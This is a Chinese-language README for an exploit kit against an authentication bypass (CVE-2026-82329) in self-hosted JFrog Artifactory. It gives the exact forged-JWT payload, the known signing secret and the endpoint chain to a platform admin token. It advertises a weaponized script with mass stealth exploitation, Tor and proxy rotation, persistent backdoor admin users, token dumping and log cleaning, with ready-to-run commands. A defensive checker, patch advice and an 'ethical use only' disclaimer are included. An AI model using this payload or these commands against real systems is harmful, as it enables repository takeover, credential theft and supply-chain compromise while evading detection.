
CVE‑2026‑82329 – JFrog Artifactory 认证绕过工具包

仅限道德用途 – 授权安全测试
本仓库仅为授权安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在美国 CFAA、英国《计算机滥用法》、土耳其 TCK 243/244 以及全球类似法律下均属违法行为。
📖 漏洞概述
CVE‑2026‑82329 是自托管 JFrog Artifactory(版本 7.111.x 至 7.161.x)中的一个严重认证绕过漏洞,允许未经身份验证的攻击者通过滥用 JFrog Access 集群加入机制获取完整的平台管理员令牌。
工作原理
- 空白加入密钥信任 – JFrog Access 信任一个值为空字符串的幽灵加入密钥。因此其签名密钥为确定性值
32 * 0x20(空格)。
- 伪造加入 JWT – 攻击者使用此已知密钥和
kid = SHA256("") 伪造一个 HS256 JWT。
- 签发 SERVICE 令牌 –
POST /access/api/v1/registry/join 在无需任何认证的情况下返回带有 scp=admin 的 SERVICE 令牌。
- 管理员令牌交换 – 使用
scope=applied-permissions/admin&audience=* 调用 POST /access/api/v1/tokens 可获取完整的平台管理员令牌。
- 影响 – 完全接管仓库、窃取令牌、创建管理员用户、污染制品、供应链攻击,以及横向移动到连接的服务(Xray、Mission Control、Distribution)。请立即升级!
受影响版本
- 7.111.4 – 7.111.20 – 存在漏洞
- 7.117.0 – 7.117.27 – 存在漏洞
- 7.125.0 – 7.125.19 – 存在漏洞
- 7.133.0 – 7.133.28 – 存在漏洞
- 7.146.0 – 7.146.36 – 存在漏洞
- 7.161.0 – 7.161.19 – 存在漏洞
补丁
- 升级到 7.111.21、7.117.28、7.125.20、7.133.29、7.146.38 或 7.161.20 或更新版本。
- 如果无法升级,请限制对 Artifactory 的网络访问(切勿将其暴露到互联网),并轮换所有管理员令牌作为临时缓解措施。
🧰 工具
| 工具 | 用途 | 目标用户 |
|---|
exploit.py | 完整武器化工具包,包含 JWT 伪造、管理员令牌交换、管理员用户创建、批量扫描、隐蔽模式、代理轮换、交互式菜单和完整攻击链。 | 红队 / 授权渗透测试人员 |
safechecker.py | 非侵入式漏洞检查器,可检测 Artifactory 版本、验证暴露情况并评估风险,且不获取任何令牌或执行任何有效载荷。生成 JSON 报告。 | 蓝队 / 安全审计人员 |
📊 功能对比
| 功能 | exploit.py | safechecker.py |
|---|
| 漏洞检测 | ✅ | ✅ |
| 版本检测 | ✅ | ✅ |
| 伪造加入 JWT | ✅ | ❌ |
| 签发服务令牌 | ✅ | ❌ |
| 管理员令牌交换 | ✅ | ❌ |
| 创建管理员用户 | ✅ | ❌ |
| 列出仓库 | ✅ | ❌ |
| 列出用户 | ✅ | ❌ |
| 导出配置 | ✅ | ❌ |
| 导出令牌 | ✅ | ❌ |
| 完整攻击链 | ✅ | ❌ |
| 交互式菜单 | ✅ | ❌ |
| 批量扫描(多线程) | ✅ | ✅ |
| 代理支持 | ✅ | ✅ |
| 代理轮换 | ✅ | ❌ |
| Tor 支持(匿名) | ✅ | ❌ |
| User‑Agent 轮换(OPSEC) | ✅ | ❌ |
| 抖动(OPSEC) | ✅ | ❌ |
| 自适应速率限制器 | ✅ | ❌ |
| 非侵入式(安全)模式 | ❌ | ✅ |
| 版本报告 | ✅ | ✅ |
| 匿名访问检查 | ❌ | ✅ |
| JSON 报告 | ✅ | ✅ |
| 日志清理(反取证) | ✅ | ❌ |
| 自定义 User‑Agent | ✅ | ✅ |
| SSL 验证控制 | ✅ | ✅ |
🎯 使用场景摘要
| 场景 | 推荐工具 |
|---|
| 蓝队 – 验证您的 Artifactory 是否存在漏洞 | safechecker.py |
| 安全审计 – 非侵入式漏洞评估 | safechecker.py |
| 红队 – 授权渗透测试与完整利用 | exploit.py |
| 漏洞赏金 – 负责任披露测试 | safechecker.py |
| 批量扫描 – 检查多个目标的漏洞 | exploit.py(仅检测) |
| 事件响应 – 检查系统是否已被入侵 | safechecker.py |
⚙️ 安装
git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt
requirements.txt
requests
urllib3
curl_cffi
📋 参数
exploit.py 参数
| 参数 | 描述 |
|---|
-u, --url | 单个目标 Artifactory URL(例如 http://artifactory.example.com:8082) |
-f, --file | 包含目标列表的文件(每行一个),用于批量扫描 |
--create-admin | 创建持久管理员用户(格式:USER:PASS) |
--keep-admin | 保留创建的管理员用户(扫描后不清理) |
--token-only | 仅打印管理员令牌(单个目标) |
--interactive | 利用后进入交互式菜单 |
--service-id | 加入 JWT 的服务 ID(默认:jfrt@01) |
-t, --threads | 多目标线程数(默认:10) |
--timeout | 请求超时(默认:25 秒) |
--retry | 最大重试次数(默认:3) |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080) |
--proxy-list | 用于轮换的代理文件(每行一个) |
--jitter | 请求之间的随机抖动(0‑2 秒) |
--stealth | 启用隐蔽模式(UA 轮换 + X‑Forwarded‑For) |
--curl-cffi | 使用 curl_cffi 进行 TLS 指纹模拟 |
--full | 完整攻击:所有模块 |
--dump-config | 导出系统配置 |
--dump-tokens | 导出所有访问令牌 |
--list-repos | 列出仓库 |
--list-users | 列出用户 |
--detect | 仅检测(不进行管理员令牌交换) |
--exploit | 执行完整利用 |
-o, --output | 将 JSON 报告保存到文件 |
-v, --verbose | 详细输出 |
-q, --quiet | 静默模式 |
safechecker.py 参数
| 参数 | 描述 |
|---|
-u, --url | 单个目标 Artifactory URL(例如 http://artifactory.example.com:8082) |
-f, --file | 包含目标列表的文件(每行一个) |
-t, --threads | 多目标线程数(默认:5) |
--timeout | 请求超时(默认:10 秒) |
-v, --verbose | 详细输出 |
-o, --output | 将 JSON 报告保存到文件 |
💥 场景
| # | 场景 | 命令 |
|---|
| 1 | 快速漏洞检查 | python safechecker.py -u http://artifactory.example.com:8082 |
| 2 | 带报告的详细扫描 | python safechecker.py -u http://artifactory.example.com:8082 -o report.json -v |
| 3 | 从文件进行批量审计 | python safechecker.py -f targets.txt -t 10 -o audit.json |
| 4 | 仅检测利用 | python exploit.py -u http://artifactory.example.com:8082 --detect |
| 5 | 仅获取管理员令牌 | python exploit.py -u http://artifactory.example.com:8082 --token-only |
| 6 | 带交互式菜单的完整攻击 | python exploit.py -u http://artifactory.example.com:8082 --interactive |
| 7 | 创建持久管理员用户 | python exploit.py -u http://artifactory.example.com:8082 --create-admin evil:P@ssw0rd1 --keep-admin |
| 8 | 导出配置 | python exploit.py -u http://artifactory.example.com:8082 --dump-config |
| 9 | 列出仓库和用户 | python exploit.py -u http://artifactory.example.com:8082 --list-repos --list-users |
| 10 | 带隐蔽模式的批量利用 | python exploit.py -f targets.txt -t 20 --stealth --jitter --full -o results.json |
| 11 | 使用 Tor 进行代理轮换 | python exploit.py -f targets.txt --proxy-list proxies.txt --curl-cffi --stealth |
🧪 端点与利用链
该漏洞利用使用以下 JFrog 端点和利用步骤:
| 步骤 | 方法 | 端点 | 描述 |
|---|
| 1. 加入 | POST | /access/api/v1/registry/join | 伪造 HS256 JWT → SERVICE 令牌(scp=admin) |
| 2. 交换 | POST | /access/api/v1/tokens | SERVICE 令牌 → 平台管理员令牌 |
| 3. 证明 | GET | /artifactory/api/system/configuration | 仅管理员可访问的访问证明 |
| 4. 持久化 | PUT | /artifactory/api/security/users/{user} | 创建持久管理员用户 |
| 5. 撤销 | DELETE | /access/api/v1/tokens/{id} | 清理创建的令牌 |
有效载荷格式
# 伪造加入 JWT 结构
{
"alg": "HS256",
"typ": "JWT"
}
{
"iat": <unix_timestamp>,
"service_id": "jfrt@01",
"kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"skip_node_registration": true
}
# 签名密钥
secret = b"\x20" * 32
# 管理员令牌请求
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false
🛡️ 负责任使用
- 仅在您拥有或已获得明确书面测试许可的系统上使用这些工具。
- 未经授权的访问是非法的且不道德的。
- 作者对任何滥用行为不承担责任。
- 请始终遵守您所在国家的法律法规。
本软件仅供教育目的和授权安全测试使用。